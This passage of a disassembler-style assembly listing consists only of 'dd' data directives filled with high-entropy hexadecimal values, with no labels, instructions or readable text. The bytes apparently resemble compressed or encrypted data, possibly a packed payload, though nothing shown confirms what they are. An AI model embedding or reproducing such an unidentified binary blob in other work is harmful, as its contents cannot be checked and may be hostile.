		dd 0D5C420E5h, 2000115Bh, 0B342AE41h, 5EB590Ch,	8203705Dh
		dd 7AF40045h, 33957BD4h, 52E33D00h, 0D9FA58EEh,	46EF0073h
		dd 6013E971h, 41006524h, 31EBDD74h, 398CC6BAh, 22809718h
		dd 0AFC27AE7h, 3400C852h, 814D093Ch, 309633A6h,	77703273h
		dd 0A3E61FE8h, 0E17A0AEEh, 0FF671B00h, 7BD668E0h, 579D180Bh
		dd 0DBF42078h, 9102277Bh, 0B5A7AAD5h, 0F5914077h, 0F9CF0033h
		dd 9B9C78DDh, 0DCFCBAAFh, 0B8E55439h, 0D5829EBEh, 8ED93742h
		dd 0D3F48055h, 6EF86Bh,	28C32E76h, 891EF216h, 0DF6A7307h
		dd 4CF0F52Ch, 0FE1988h,	0FF951F86h, 0AC13F18h, 7FCB6200h
		dd 30742063h, 0C659005Ch, 5EAEC0E0h, 3600AB9Ah,	0CD6E947Bh
		dd 0CA9910h, 75C6FEDEh,	7E3C2D82h, 7688B42Fh, 56E80BEBh
		dd 5C4AEB00h, 0F200B35Eh, 909C1B67h, 2104BEh, 9D741008h
		dd 99D20BFFh, 3E236003h, 376720h, 1EF96321h, 15107FEFh
		dd 0CCB4E0Eh, 653F0001h, 123F3BDh, 2881EB4Ch, 0C05DA9B7h
		dd 48005FA0h, 6E34CF2Eh, 1B0159h, 0BEEB1208h, 0A37101Dh
		dd 5CBFCD0Eh, 0EDA340A7h, 0A0CE7Eh, 0A97C8CC7h,	4D24E259h
		dd 0D1FEB900h, 817E0DA6h, 0D57500D7h, 84FA863Dh, 0B4009648h
		dd 0A288911Dh, 0C0C557F6h, 40219AF0h, 0D1EA14AEh, 4BE26000h
		dd 0C37CB65Bh, 0CB6300AAh, 0DDD33A34h, 0E43C8D8Bh, 681D001Bh
		dd 0FFE16BE8h, 1039062h, 90D3F07Ah, 0EF3866EDh,	106407B7h
		dd 0F75ACF63h, 9BAD3207h, 8E00FE20h, 3A82296h, 90BD8DBFh
		dd 0B004F888h, 55CB4D2h, 5A8088C0h, 268900E6h, 0D3292C0Ah
		dd 9706DF07h, 21B0FEA2h, 4FD52648h, 0DC518020h,	0C8824BFCh
		dd 167EE938h, 380070F3h, 222BA701h, 0BC1F0246h,	0B6683B61h
		dd 0E57C4C60h, 0CFE3660Fh, 0B4DC40DFh, 79026C70h, 0FC6A0077h
		dd 0DBD2094Dh, 9A00E6AFh, 0CD3ADAE4h, 138BB55Ch, 0AE0A14Bh
		dd 8C70A8A4h, 0DEF8F36Bh, 0C90071E8h, 7B2C61A4h, 0B8F6E82Bh
		dd 62850074h, 3EF37C34h, 4003EF83h, 7BA0B249h, 15CA80D8h
		dd 22700287h, 2B9DF54Ah, 420E80D5h, 2A98F28h, 2E15F40h
		dd 68C0077Eh, 8200CC80h, 0F449FBBDh, 0DA2A0Ah, 0A423856Ah
		dd 0B59113F7h, 1E4A73Ah, 39E18A0h, 74F0C8B7h, 0E064093Ah
		dd 0D0208228h, 0F4C93112h, 68EAAB2Ch, 6BE58E00h, 2EF6ABAh
		dd 261A8013h, 9C802811h, 0A864AC75h, 49395Ch, 886E2241h
		dd 0A96BDEh, 1FF95D0Dh,	19CF4F18h, 0C6696600h, 7F9DAD9Fh
		dd 0C7CD1D4Bh, 0E0408E6Fh, 81D341B8h, 1EF69238h, 4B807CC2h
		dd 4FD91194h, 0A31403A0h, 570F8BC8h, 0FBE88A9Bh, 191FD52Eh
		dd 46C354ACh, 0C05EECF0h, 0D29D55h, 21CE7510h, 5AAE0F12h
		dd 0EB913E00h, 572E27F4h, 341C0068h, 0DF73F548h, 97068595h
		dd 35DDF36Fh, 28A16C79h, 0C21B2679h, 7040B5D0h,	0FCB40019h
		dd 4BE0C762h, 230C5B06h, 214D829Ch, 0E44F0C39h,	7111A57Ah
		dd 0A3F20700h, 8EA0388Ch
		dd 0AF1C0032h, 0DAB25DE8h, 0BF7B847Bh, 1AAB18C1h, 0D7C87A75h
		dd 27F33BCFh, 0B866EF00h, 2D089915h, 3B980D00h,	0B23E3805h
		dd 694D0096h, 0BF9F8406h, 0F0004815h, 0DD9824F6h, 68CA7Ah
		dd 6327846h, 661E6447h,	393FC81Dh, 80210F0Eh, 0FB995BE5h
		dd 0BB2003F9h, 88B6C098h, 4FCF41C0h, 0C89F7807h, 0DBD07105h
		dd 0A09AAB28h, 395915B4h, 0AF001E1h, 4F785276h,	9F0600F1h
		dd 945562CCh, 5718E000h, 0AA21DA8Eh, 0D3AF1F04h, 7E9C03F4h
		dd 0BCD0EDE3h, 90A05D29h, 3A1E5647h, 0EBC0B273h, 1359A0A4h
		dd 0C8940023h, 0EA1FB56Fh, 3004FCDh, 601BC94Ch,	7BB4066h
		dd 0C0880713h, 6C716038h, 0B4003792h, 2DBF46BAh, 0CF9C32CCh
		dd 2802384h, 0BB2ADB8Dh, 0DA06AD00h, 2D48AC4Bh,	0ECC9186Fh
		dd 5A2FD844h, 0C67F3601h, 98EDC8D6h, 0E4670EF0h, 96A101C1h
		dd 671739Fh, 69F4C874h,	8470AE00h, 0D8E43A95h, 1B17000Ah
		dd 8CA2835Fh, 0BB582CFBh, 32850042h, 4964F60h, 0B1FC009Eh
		dd 63FA0DD4h, 56399FBCh, 7D2DD879h, 2D5B3Fh, 0DA0470BDh
		dd 4114510h, 7CC334BEh,	68648088h, 50046E5Bh, 0FC518EFAh
		dd 5314EDC0h, 0B4EE2Fh,	3B5C9512h, 0B3AEDABCh, 1CE47401h
		dd 244CBFCh, 25DE2984h,	785EC0A9h, 9800BCBDh, 3BEA9A47h
		dd 9D05D0h, 4BD39EF3h, 0B4348B8Ah, 328FE700h, 5AED3390h
		dd 10E960D7h, 54C07BFEh, 0B57DCF00h, 0AC5927F2h, 21C86037h
		dd 0FCA7E153h, 3F0F673Bh, 7A1F00C7h, 0D08DF5B5h, 6C3E1C0Ch
		dd 174740FBh, 96C60D38h, 0DB32C100h, 18BFA092h,	94B80FCDh
		dd 40BDC54Dh, 0D8A571A7h, 3B0053B6h, 69E09F93h,	0A0B3B17Eh
		dd 2674558Ch, 47005F63h, 0A606013h, 1C0C0721h, 280EA4CBh
		dd 56730350h, 0F96722F8h, 0EA08D0D4h, 7226AD86h, 4397CB3h
		dd 0A9D759A1h, 0C5559C90h, 208F0089h, 3C45B842h, 5304ADB3h
		dd 0E929AAF0h, 788E57C1h, 18D82BE8h, 288262BAh,	0E60E08CDh
		dd 0C07FE407h, 0E03B6BE2h, 9610042h, 39BF5EF9h,	0B0006320h
		dd 0C1B7962Bh, 50CB9Bh,	4FAA060h, 0CA488E13h, 504FB630h
		dd 3E8D924h, 0BD96F41Eh, 48888FFh, 5439B389h, 0BC448379h
		dd 0F9156Fh, 0B0A6431h,	0D02306D6h, 287AE50Bh, 90330039h
		dd 0D0E54h, 0E738C507h,	0B12103EFh, 0E25288C0h,	5DFA56Fh
		dd 0B28B7747h, 0EEA60959h, 0C54F7087h, 8D6B8026h, 8A982AD7h
		dd 7BCDE400h, 0D916D52Dh, 0FBE9007Dh, 0FF726B31h, 560F0B96h
		dd 209E9538h, 0D0489AA0h, 417F04BEh, 80D82377h,	56F1680Bh
		dd 7021B71Ch, 76476A47h, 4060DACEh, 240393h, 5221EF66h
		dd 775C6E9Dh, 38B9E331h, 49EC4F05h, 10B860EBh, 6635641Dh
		dd 6765E90Eh, 6B74A0ADh, 7E5A703Ah, 1429043Ch, 0C06F895Dh
		dd 2B5EA324h, 30761A00h, 908248D3h, 1C9D00FCh, 0AA510A66h
		dd 4A0013C9h, 6CB62E87h, 0A0A7BD17h, 0F689E0h, 0D3B8D03Ah
		dd 0CC1B99E9h, 4D9B9F00h, 739694D8h, 0E7559h, 0F1828E5Ch
		dd 3C060D7Ch, 83E9363Fh, 0FC4686CCh, 0CF22A0B0h, 7D4A7BA0h
		dd 6126002Ah, 0EA90231Ah, 6200B19Eh, 0E83B6C78h, 0CAE702h
		dd 5A71917Bh, 0E5D494CBh, 70E2EE16h, 0CC6E1A00h, 0F9CF01h
		dd 86548C59h, 0ED25F0D4h, 0FD87C00h, 43845813h,	98AD00E2h
		dd 48121940h, 0DBF2F53Ah, 58093900h, 0AC0B64F9h, 0C2CF00B4h
		dd 0E596A7BEh, 2379615Dh, 7DD84800h, 806BF9EBh,	666448ABh
		dd 59C3E200h, 0F348D242h, 2B3056E6h, 0C81711ACh, 0EBA305B0h
		dd 7BBFE0h, 79B991AAh, 1C0673D0h, 2B8F025Ah, 19DB03F8h
		dd 498BE71Dh, 0AFFA6800h, 70F24534h, 0DF6F0048h, 0C5BF5FEDh
		dd 0B901C152h, 0A8CAA9C8h, 30804322h, 0DCA64009h, 0A44C3D18h
		dd 2DB0068h, 8F56A9F6h,	0D84E047Bh, 81C661C3h, 0F8DD4514h
		dd 44003347h, 97C2AFAEh, 5621302h, 0EDB2C951h, 0E3F40555h
		dd 608A800Ch, 0E2180D72h, 5C184F40h, 0FC290036h, 0E7C6E417h
		dd 0CE7C5856h, 0EA00DBEAh, 0A50435DEh, 0B55FA4h, 382F4B40h
		dd 4AB12ECDh, 0CE3D3B00h, 0C062B9EDh, 0F16E00F7h, 0DE823F73h
		dd 0EE0F0B63h, 0A78964F2h, 93C00342h, 0C069D3h,	0A8EB2E6Bh
		dd 0D28F6FFDh, 18A73Fh,	0A4088B46h, 4C5A2158h, 69002826h
		dd 0F2F35F75h, 4D00EDF1h, 0DB774F80h, 6C80Ah, 965A9954h
		dd 21FB9C24h, 5BEAC100h, 2F7655B1h, 1200B3Dh, 4B80C8B2h
		dd 0F50E2C07h, 0F9024EC0h, 0ACC0B3h, 16C48CC7h,	0E1511B57h
		dd 5D17E300h, 6311593Ah, 82D61E3Ch, 659FC0CDh, 45BF1262h
		dd 0C1E4E0Eh, 72DCE0AEh, 155EA53h, 98E7E517h, 0FC1A7EADh
		dd 0FC3D59E0h, 0BD720063h, 0D357A3BAh, 5A910056h, 503B5DADh
		dd 51F61438h, 0DBB37B00h, 0C4C6D2E2h, 4C320C4Eh, 0CE68490Ah
		dd 0E8838400h, 7B7C85D5h, 79CFEE62h, 282200ACh,	0A0CB23D9h
		dd 0C200146Eh, 0A1AA2AB3h, 3A619344h, 77BB61Dh,	0C796BB8Fh
		dd 0D9EF608Ah, 0F803063Bh, 670A0F85h, 0F205985Eh, 1B9F0AEBh
		dd 80BC9EE6h, 283614DEh, 0B91C4EFBh, 0BD80C797h, 0C389C994h
		dd 91CF3DEEh, 9CD3E200h, 9DD8E5CCh, 0E1FCD51Eh,	0EACBDE80h
		dd 7C3E6E8h, 0C0E9FDF2h, 0D9F0E0F5h, 9C00A5F9h,	0B4A9EA2Fh
		dd 7822190Fh, 5EFE12D4h, 0AFA007FFh, 40EDC7C4h,	225DAA97h
		dd 0A71D2CB2h, 0A0302F9Fh, 1D02D2ACh, 0CAA20Ch,	0DF537E01h
		dd 0FD001E0Eh, 507699AFh, 739A27E8h, 727A0636h,	70E4ADEAh
		dd 0A8B4E200h, 3F392282h, 88A760BAh, 8C75E73h, 0B8602517h
		dd 8D2EF400h, 5AD53h, 70BA1F3Bh, 0E017CD39h, 58F4B449h
		dd 0A19A1825h, 0C0ADF258h, 91AFE7B8h, 438657AAh, 0A22071h
		dd 0AA40D3C2h, 0CA576DD4h, 0A93C2400h, 0C077A068h, 5B2800B7h
		dd 0BC1290D9h, 39002BAFh, 0F1C8E3ECh, 108538Bh,	0D7044503h
		dd 0D49EB286h, 9B0093F6h, 0E6482926h, 253876F4h, 0EAD62C6Bh
		dd 1BF71A00h, 69AE286h,	51112292h, 100146Ch, 8F2DFDE3h
		dd 5EB69h, 0E9CB968Eh, 0B1514C95h, 1C55273Ch, 48404FCFh
		dd 80EF97C8h, 72ED5C26h, 791E500h, 6DDBFD61h, 0F03C0576h
		dd 0B5C20068h, 15D4410Ah, 19980003h, 0D5C7E94Bh, 0EC0044DCh
		dd 9DB18ED9h, 9BD0424h,	9FC31D40h, 0D0E63C27h, 0D6816A28h
		dd 594ED20Eh, 0B3D120A7h, 2A75DAC5h, 0AC2F7Fh, 4FCCBE0Ch
		dd 6EF3DBF8h, 0ED311906h, 72205216h, 7529C07Fh,	0AAE7F612h
		dd 77D0338h, 3F512629h,	0B2D018E1h, 174D7880h, 0EEA832C9h
		dd 79CEAD06h, 9412D7Fh,	4752B824h, 0A9825883h, 0F5F89C90h
		dd 0A59BA700h, 0AB1C4F3Dh, 31750067h, 6D66F9E8h, 20C09268h
		dd 0FB46D6E9h, 0F54D0724h, 334F3539h, 0A7907FC6h, 0D407EA9Eh
		dd 20241516h, 1CAC712Ch, 0C05CAA9Bh, 40FB1BEEh,	0E00FEC31h
		dd 2024F812h, 95D4AF8Ah, 677F29h, 73EE1310h, 5F268969h
		dd 0C0B6DA1Dh, 0DC818300h, 0E42146F8h, 8AA70CDBh, 0D908933Dh
		dd 0E00321C7h, 2DC220E1h, 493A98C3h, 0A0E40387h, 0BC8808A8h
		dd 7A142800h, 0C4AE99D6h, 956C30ECh, 9724C319h,	0FF0FD91Eh
		dd 0BE38B700h, 1817DBEFh, 309BA24Ah, 0D81883F5h, 0BC705CA4h
		dd 4DE200BFh, 0EAFFD61Ch, 0C766DEC0h, 21A608h, 0DF4DDA90h
		dd 105F5B65h, 91E35200h, 63AC7873h, 5E73F6h, 8D41D89h
		dd 8A7FC2A3h, 67739001h, 0BF060B4Ah, 0A1F9FC01h, 0D3D18850h
		dd 6401F818h, 59FDEC74h, 0C883A882h, 0DF4B0810h, 8081702Ah
		dd 39C5A933h, 0DD7B8078h, 144B069Eh, 0D150A518h, 0F3300700h
		dd 0F0313E1Ah, 0DDFE1F1Ch
		dd 0CC010025h, 4509CE0h, 737A4D07h, 21C105F3h, 1883EE14h
		dd 8D0E628Ch, 103DD01Fh, 88071F40h, 0EEBB8EEDh,	28E6602Ch
		dd 43A84E0Eh, 0AB84CC00h, 49420833h, 0EA6700A2h, 0B48A601Ah
		dd 0ED004677h, 8B2B348Dh, 0EE208C5Ch, 0D0CBE932h, 0CBF524h
		dd 594BE922h, 2CC04C6Eh, 93F430C1h, 189EF176h, 486B1955h
		dd 0D584C42Bh, 0EBF72706h, 7420F97Ah, 417500ECh, 0CDC782A4h
		dd 6B00C4A2h, 2F0CF4A6h, 7F64C1h, 0DBA538C8h, 5D8C784h
		dd 0EE4D6A00h, 0CB32914h, 78737CADh, 529401E0h,	0CC7ADE44h
		dd 1E798EF3h, 0CD5BA018h, 35C38Ah, 0D091A56Eh, 5AFA9A8Fh
		dd 7ADFFE0Eh, 0F52565E9h, 98F0BA0Ch, 7B77270h, 22BD6E38h
		dd 0A887408Ah, 8200ECC8h, 858DDB7Bh, 1816516Bh,	60406D18h
		dd 4200F0B4h, 0D2EFDE81h, 0D0E1031Eh, 0CBE0411h, 10BA400Eh
		dd 0C4B31FDAh, 872E000Bh, 35D14C1Ch, 0D8614E00h, 3C940EE2h
		dd 0DB3013C5h, 28AF198Ch, 0B82A1083h, 0AD640187h, 24B9150Fh
		dd 45F02BB6h, 0F277DC5h, 5CAEA30Eh, 1BC27D21h, 0BD4AF0B7h
		dd 0CFA83D0Eh, 59216334h, 0EEE5E88Eh, 8C2400AEh, 84FCF486h
		dd 0F77AB9A3h, 5A1F0CE6h, 8300574Ah, 481B87BFh,	10B11E0Dh
		dd 90FF0050h, 0D7AC72BDh, 99C32400h, 0F8E6CDEBh, 0AB7282Bh
		dd 3D9000D1h, 17FCFF5Ch, 0D700EE1Ah, 0D9B47771h, 3058DD9Bh
		dd 402163EBh, 6600D6F9h, 2EEAE783h, 0A0843179h,	3868AF94h
		dd 2580694Ah, 0E76CD29Ch, 0FA005A75h, 53718EE2h, 0DDEE6h
		dd 5F81337Ch, 0D09D3C18h, 0F4E1201Ch, 0CA163E40h, 10139Ah
		dd 60D52DCBh, 91999701h, 561CC0F2h, 258019BBh, 0D2F33D59h
		dd 0C3B04CE3h, 0E2A16D01h, 0C844B63Ah, 0F607B83Bh, 14E95886h
		dd 6E4013B0h, 0EFFE3082h, 265C0C48h, 8A1C5E00h,	9974CAFAh
		dd 0A4BDEC49h, 2BBF00C0h, 72211D6Bh, 0F6EC0A01h, 0C455624h
		dd 18E2B900h, 767E5Ah, 0FCC0DDBDh, 884B4637h, 9DB7BA00h
		dd 0E33F5211h, 5C56009Fh, 0E2218DC4h, 730012AFh, 0E99CD447h
		dd 727F8CCh, 0C4C02F92h, 46F6F01Ch, 0C605CE0Ch,	7BA4D1FAh
		dd 0C32A8FC1h, 0F0641D8h, 0A6038D3Eh, 6382758Bh, 0D7409A4Fh
		dd 5D0024C4h, 781BF4F5h, 0F86E12h, 4902908h, 66445E28h
		dd 0DB68C300h, 0D6847E71h, 7DE63Ch, 74891D8Fh, 0B0E76F16h
		dd 400C7E8h, 3C640B7Eh,	13E9F010h, 898C0h, 54DB55CBh, 67005989h
		dd 0D3F54FE8h, 542B03D1h, 0C58C7Ah, 0ABE59457h,	7F5919E9h
		dd 0E2B07100h, 5336FBE7h, 8E86034Ah, 0DD141EBAh, 558081DBh
		dd 8701DB6Eh, 0FA0E32Fh, 904049A4h, 547CABCFh, 21C28C51h
		dd 18E05280h, 0CE129C94h, 0A8C1B528h, 0CC8705B0h, 0CF24D75Bh
		dd 0B00E8DCh, 0F49A1FA4h, 0F828019Ch, 6D2187C1h, 6949C4E6h
		dd 0F300D27Fh, 0BF8594B8h, 2E2EDh, 803B01C2h, 0B6226619h
		dd 0AFC3301h, 8498D2C8h, 0EF7CE0h, 0E4129DE8h, 71C328B7h
		dd 56393A01h, 43CA99F9h, 0B6D7F8h, 806BF212h, 63D824DEh
		dd 2975D900h, 0C1F6C5E5h, 0FB389A16h, 2E307040h, 3D2704A6h
		dd 807EBF6Ch, 3ADA7094h, 480088F8h, 23ACC389h, 0E2FCA28Fh
		dd 369885h, 31C0C83Ch, 0E02FF6A8h, 37B1501Dh, 13B0A352h
		dd 9C5D0E7Ah, 0E560E1C5h, 0B3728F1Eh, 1CD9500h,	1399E4CAh
		dd 7EE8905Eh, 45B9407Eh, 6C20EC00h, 0D840EC1h, 4F280070h
		dd 0F51CA3F3h, 6800CBC9h, 0EE8D7627h, 7120D1FEh, 59C424B0h
		dd 552D00ACh, 0F2463381h, 4193561Dh, 540127D2h,	4A211B83h
		dd 7448388Eh, 97CA8780h, 1600A726h, 0FD894E9Dh,	2E14236h
		dd 0F229B735h, 0F680A9EEh, 835A2EBDh, 47FD2F00h, 85AA86F7h
		dd 0ED1E000Ch, 294E6133h, 5E06EB24h, 4DA9FB8Ch,	87830010h
		dd 6B06F67Ah, 1D003735h, 0FF583165h, 60EFD7CDh,	420FF086h
		dd 0A100BE6Fh, 2703D5C6h, 8A4A88h, 29D06CB5h, 5137E541h
		dd 28F44D00h, 0B11883BCh, 0B2120025h, 2B929917h, 1F01D3A2h
		dd 26F0F78Fh, 0D021862Ah, 1E5DB06Bh, 0A55B4E1Ch, 9FCA1340h
		dd 0A0670BE2h, 233C8Ch,	1769CBACh, 0C8266D01h, 33F0FE00h
		dd 8C5303CFh, 0F37F02Dh, 0DCEDF1D7h, 0EBF3B980h, 77056831h
		dd 96DA9DA8h, 1B50E80h,	0FC7F1623h, 0C11C04AEh,	0A7BCC0D6h
		dd 9500C0F6h, 27B71755h, 0DB6C98h, 24DFFD4Fh, 0C8DDBF8Ah
		dd 82CA9038h, 0F65B0F04h, 5DF86023h, 0FE2AB83Bh, 0EA750ED7h
		dd 39D88DD2h, 0CB18FA50h, 0F611CC65h, 31E500B6h, 9F4E3F7Ah
		dd 70928448h, 803A9B38h, 0F55E2E6Ah, 12A0AC96h,	67FF52h
		dd 0CAE9E731h, 0CF00FD29h, 61E0E655h, 3DE316F1h, 64006315h
		dd 3C47978Ah, 18B1D29Eh, 33456200h, 132C4432h, 59C5E94h
		dd 0C01BC016h, 90D06055h, 98BC412Ch, 299BE600h,	1D893B55h
		dd 0C0705ED4h, 0E4B9EB76h, 5E49619h, 0E2BA3Fh, 0E0872559h
		dd 71CFCE23h, 0C81B00C3h, 0DEA5021Fh, 1E01BB96h, 72FCF693h
		dd 42800185h, 6A2B7E09h, 610007E6h, 0C5A53ACEh,	50E968h
		dd 0EC6F8874h, 0D662325Dh, 3ABBE505h, 34D29E34h, 8700400Dh
		dd 75120018h, 32A31B6Ah, 0CC0499DBh, 0A2A61EA5h, 8CE2B880h
		dd 3A8F3D0Dh, 14554400h, 36C466C1h, 160186E6h, 83A6FF54h
		dd 0D5EC9F77h, 0E43F0094h, 53E0B534h, 853821A1h, 24C100F2h
		dd 0D7B25E9Ch, 1550577h, 41E21CF6h, 0EEDEDDD4h,	0C1A63004h
		dd 5D02820Bh, 20B58CDAh, 0F5F23C0Eh, 11521F19h,	0C68CE0EAh
		dd 0D2B83D00h, 0D44BA007h, 0D61E0087h, 7C2FBB5Dh, 0F3ECB0B3h
		dd 35C5C326h, 0C0A30C0Fh, 3A58E60Fh, 0F8D5F851h, 667600D6h
		dd 75EEDFF5h, 1E009C57h, 0F495A204h, 238C6Bh, 96E42406h
		dd 53E19ACEh, 0D645B900h, 9B8EDE16h, 0B8653354h, 0D8087639h
		dd 80E1C7C4h, 383F215Fh, 0E61DF5DAh, 0EC0D11D1h, 0F8626007h
		dd 287817h, 997ACE4h, 10910C7h,	80712B8Eh, 11853EABh, 6119015Fh
		dd 4A2ADFB9h, 0AEAAF826h, 0B33BACB0h, 72B1007Ah, 37479CC6h
		dd 74540570h, 0C0993626h, 9A94F111h, 8E1E091Ch,	565CBFC0h
		dd 0F672AEh, 32382CA7h,	0F1B1BBEEh, 880002F0h, 0ECFC85FAh
		dd 61E6FFh, 709C9A6Bh, 0C38606D1h, 403FF000h, 9D1CB9A4h
		dd 59733Eh, 6989C78Bh, 9EF59FB1h, 0C64F4B00h, 0C95755CAh
		dd 0E430013h, 948E362Fh, 79B8E4E1h, 0A9AC7C00h,	5BAA6653h
		dd 688403F9h, 0C151CEA3h, 0A8129E00h, 0D9C91896h, 86B62A79h
		dd 36760098h, 0BEE7EB5Dh, 0B100453Fh, 21B2F268h, 127F0F9h
		dd 0C306ABD5h, 0DE2FEA64h, 0F4A0C4A0h, 9A1E0CCBh, 0CC07E52Ah
		dd 0D8DF8216h, 62638020h, 0BDE061F8h, 8FE2C50h,	287E0E00h
		dd 0C388C83Dh, 15C605D7h, 0C090594Dh, 6BDA891Ah, 0E1383C60h
		dd 0CEDF3B39h, 68C15E71h, 80EAB570h, 3E039B59h,	0BA232Ah
		dd 4F76D407h, 2678E89Eh, 74BC0600h, 8B09AB6Bh, 0ADFE1DC3h
		dd 18200EE5h, 0DB5FF700h, 69C0446Dh, 0E130F4Ah,	3011C033h
		dd 0D1B0C18Ch, 0BD9F7300h, 910D9D19h, 9EBC00DAh, 0E021C65Bh
		dd 0F9758C8Bh, 2E30A073h, 5F34A9D6h, 0A93901BFh, 14CCC175h
		dd 0CB01E0E0h, 0D4A3000h, 2BA4DEB4h, 3FBA778Ch,	0FF0077D5h
		dd 15A07873h, 911DDB1Fh, 6405EA71h, 0BC1DFC0Bh,	32214418h
		dd 9177F3h, 3990C05Ch, 0AD2A794h, 7247F40h, 263679BEh
		dd 0F030CDF3h, 8C0A989h, 4067E478h, 3EB00BCh, 2B2C29F5h
		dd 0DB06D6C3h, 87B046A4h, 16354691h, 170A91D7h,	365048FBh
		dd 939100EFh, 0F02B9825h, 0DD21A739h, 7DF20C23h, 97002989h
		dd 4458632Bh, 0DE05C6h,	6DC1F123h, 982D8B85h, 0CF0D800Ch
		dd 0F1430E1h, 5F1A2335h, 0A3A92078h, 15590383h,	2F17FCF4h
		dd 8C292004h, 7E039601h, 18A6EB4Eh, 0C29BAD08h,	10D83297h
		dd 1191F030h, 88C3EA6Eh, 0E83F8040h, 0A702FE91h, 680E2328h
		dd 7C80F522h, 1DD70179h, 0CB7ABE7Bh, 8A709877h,	3B37EAC9h
		dd 0AA00FA89h, 67E01061h, 7200C823h, 0F678CD6Ch, 242FC16Bh
		dd 0E4CE67Eh, 15809D5Dh, 51A380A4h, 0B9460301h,	891F58F1h
		dd 0E4B8088Ch, 0AB00DE20h, 4221F352h, 461233h, 3F4C0114h
		dd 2F84DF2h, 0BCB1C500h, 84F5B023h, 9DD113A1h, 2603EFA5h
		dd 78C9670Fh, 0A6850048h, 8A70F898h, 0D2E4A378h, 0ED607974h
		dd 98BEB221h, 60C2176Fh, 2E0F005Eh, 517F57DFh, 29707B6Ch
		dd 0B57CE5h, 74122B1Dh,	0B7D03D1Eh, 0B4900701h,	0FD4433A4h
		dd 795F888Eh, 856F5983h, 7C0540D6h, 35EBCEE6h, 0E8068441h
		dd 109DED25h, 4B1B4045h, 824F615Dh, 0E241F301h,	1770FA5Eh
		dd 50D3C4h, 80A1B2E9h, 1CDC6DECh, 661B7700h, 74729CC9h
		dd 0DE1200A0h, 0FC53BFA5h, 470EFF29h, 80CA486Ah, 0E9A161D8h
		dd 5F7A0197h, 74253EC2h, 0E008BBF2h, 97E11321h,	10490B35h
		dd 0EF006424h, 1B6DF82h, 34002790h, 0D95255ADh,	0EAC3DB67h
		dd 0A399013Dh, 29F8271Ch, 61DAE881h, 0C06B78C8h, 5F7B97EAh
		dd 88C018FFh, 9704E210h, 85BB7622h, 0F4609386h,	38712C50h
		dd 0C12930F3h, 9318DACDh, 27113349h, 0B1D0002h,	0DC834EADh
		dd 84741EC6h, 0F12180E7h, 1B6D1D6Ch, 0DB1300D3h, 48DE7CACh
		dd 610EE214h, 0C10E920h, 8C9258F6h, 0E1D0104h, 236246ADh
		dd 1D6BF020h, 305EB814h, 0A8B089F6h, 35415520h,	29D44E4h
		dd 0D3E2034Ch, 90802664h, 4F0DB95Ch, 0AE2F6100h, 91A16E60h
		dd 8D10C058h, 0F8427220h, 9C988B07h, 97E0DA7Bh,	0EDC4439h
		dd 4126A980h, 0E46E3840h, 0E0004EE3h, 379E16D1h, 0C2392h
		dd 8DBD8F20h, 0C17B9327h, 80CC1539h, 78A7311Eh,	7E7CF0h
		dd 16976D9Eh, 4CBCE52Ch, 91748700h, 0A8AFDC7Dh,	10B000E4h
		dd 9EFCEE11h, 0D200841Ch, 0AC946DC2h, 2E0236Fh,	9FEBAEF4h
		dd 0E7614F5Ch, 0E558837Dh, 58C447D4h, 0CA1F2318h, 0F9810E69h
		dd 0E148800Ch, 2F12FF00h, 0C6159AE7h, 4CA05B7h,	80111FF2h
		dd 463AB41Ch, 4FB06101h, 27ED68D5h, 1FF7A7D9h, 157FBB9h
		dd 0FC766B58h, 0E4242094h, 0E001C439h, 35096820h, 0D46D059Dh
		dd 0C0849B63h, 53E508D2h, 0AC812C00h, 756C35F6h, 1DA207B1h
		dd 81EB67B3h, 8C7DD2E1h, 88A8840h, 0D38B00F0h, 1B95EE5Ah
		dd 780130E8h, 3B94E5A5h, 0D5D423FCh, 63E000EFh,	0E809D99Ah
		dd 93E0F829h, 0D8FE190Ch, 33E7F0CFh, 65517BA1h,	0D5F1A5E0h
		dd 0A800737Ch, 0F3807FFFh, 1DA34262h, 87A10h, 52561F5h
		dd 2800D798h, 0C189F793h, 3095EFDBh, 512878C9h,	0B914211Dh
		dd 30A1AB77h, 477B40B2h, 0DA0500C1h, 0FB6F284Eh, 0DBFAC75Eh
		dd 0E422A700h, 6E1C9BC8h, 10F7606Ch, 60DFBC21h,	0C6C93Ch
		dd 0E5FB1FFCh, 0F346A969h, 0C4566881h, 8057408Ch, 0A6D78360h
		dd 0C4EDBC3h, 75636F2Ah, 240031B9h, 8FB6AFEh, 0CA2B22h
		dd 0DA3EF720h, 567B0C2Ch, 0D787A300h, 89F0B9E8h, 8BB3180Bh
		dd 88FB59A4h, 242C347Fh, 4E068A0Eh, 38D23Ch, 0E178048Fh
		dd 4521F199h, 0D3AF7200h, 0B25DFDDh, 8C06666h, 6000210Eh
		dd 18AAB0A9h, 7E12B1h, 3D5EAB4Dh, 99F4B944h, 0C9B7F800h
		dd 0F1CB1E01h, 55FB0091h, 0F9E521F0h, 4B0FAF09h, 262B45ABh
		dd 6008440Ch, 1D92138h,	9316F1AFh, 6201F855h, 0C2A01892h
		dd 0C7E50EF4h, 0B0796380h, 840790D8h, 0EC0085ECh, 0E00CD1B5h
		dd 7DF3926h, 0E7A19905h, 551A40E3h, 0D0623F9Bh,	0DC2C521h
		dd 535080C8h, 62FA9A2h,	0DAA300A1h, 7152139Dh, 41604D75h
		dd 0F6E3E6D0h, 0E41030D9h, 154CC138h, 27160876h, 3B1905E0h
		dd 7080F608h, 1553D0F1h, 500072D9h, 4E43D4CFh, 636186ABh
		dd 901350E3h, 4E1F1191h, 0E3DC90h, 4DC2E805h, 6000BE9Bh
		dd 0AC8F7A17h, 0C044BB7Dh, 0D743DCE8h, 0E40F125Dh, 0A0FEB40Ah
		dd 3F587F35h, 5614005Bh, 5A726FF2h, 0A2002064h,	68EA74CCh
		dd 35804AEh, 0E63D3EB0h, 3BB1C3A5h, 0E99520D5h,	0B976C871h
		dd 8BC75D00h, 0B5EBF939h, 0C0095052h, 20AE61A6h, 0CCC70613h
		dd 6D3E5C4Ah, 58E048Dh,	0C040A783h, 71D8DFEBh, 1ECBE800h
		dd 0CC3BD08Ch, 43C500F9h, 0AF28BCADh, 0B9005F63h, 0EDCD990h
		dd 60BEFFE0h, 0E8D540C4h, 0EE0274E9h, 0EA155C2Ch, 86C88E55h
		dd 20DFF0h, 4474D20Ah, 0B62DF73Bh, 3355C3Ah, 8304A8DAh
		dd 53C91FDEh, 80E69C50h, 7A63D533h, 13007E36h, 26E3345Dh
		dd 1A7FE7FBh, 58DB35B0h, 60F68404h, 106CC712h, 0B0EC313Ah
		dd 0FC73B28h, 3CC6FD1Ch, 2F38D58Ch, 90B45300h, 0C5489D60h
